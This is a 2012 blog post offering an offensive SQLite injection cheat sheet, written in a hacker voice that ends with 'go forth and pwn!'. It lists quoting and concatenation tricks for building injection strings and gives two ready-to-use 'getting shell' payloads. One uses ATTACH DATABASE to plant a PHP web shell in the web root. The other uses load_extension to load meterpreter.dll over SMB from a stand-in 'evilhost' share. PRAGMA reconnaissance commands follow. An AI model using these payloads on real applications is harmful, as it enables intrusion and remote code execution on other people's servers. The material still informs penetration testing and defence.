SQLite3 Injection Cheat Sheet

posted May 31, 2012, 9:39 PM

Introduction

A few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was stored in a separate database - in SQLite. I had a Google around and could find very little information about exploiting SQLI with SQLite as the backend.. so I went on a hunt, and found some neat tricks. This is almost entirely applicable only to webapps using SQLite - other implementations (in Adobe, Android, Firefox etc) largely don't support the tricks below.

Cheat Sheet

Comments	--
IF Statements	CASE
Concatenation	||
Substring	substr(x,y,z)
Length	length(stuff)
Generate single quote	select substr(quote(hex(0)),1,1);
Generate double quote	select cast(X'22' as text);
Generate double quote (method 2)	.. VALUES (“
Space-saving double quote generation	select replace("","$",(select cast(X'22' as text)));

For some reason, 4x double quotes turns into a single double quote. Quirky, but it works.

Getting Shell Trick 1 - ATTACH DATABASE

What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example:

?id=bob’; ATTACH DATABASE ‘ /var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’);--

Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer.

Getting Shell Trick 2 - SELECT load_extension

Takes two arguments:

- A library (.dll for Windows, .so for NIX)
- An entry point (SQLITE_EXTENSION_INIT1 by default)

This is great because

1. This technique doesn't require stacked queries

2. The obvious - you can load a DLL right off the bat (meterpreter.dll? :)

Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example:

?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

This works wonderfully :)

Other neat bits

If you have direct DB access, you can use **PRAGMA** commands to find out interesting information:

- **PRAGMA database_list;** -- Shows info on the attached databases, including location on the FS. e.g. **0|main|/home/vt/haxing/sqlite/how.db**
- **PRAGMA temp_store_directory = '/filepath';** -- Supposedly sets directory for temp files, but deprecated. This would've been pretty sweet with the recent Android journal file permissions bug.

Conclusion / Closing Remarks

SQLite is used in all sorts of crazy places, including Airbus, Adobe, Solaris, browsers, extensively on mobile platforms, etc. There is a lot of potential for further research in these areas (especially mobile) so go forth and pwn!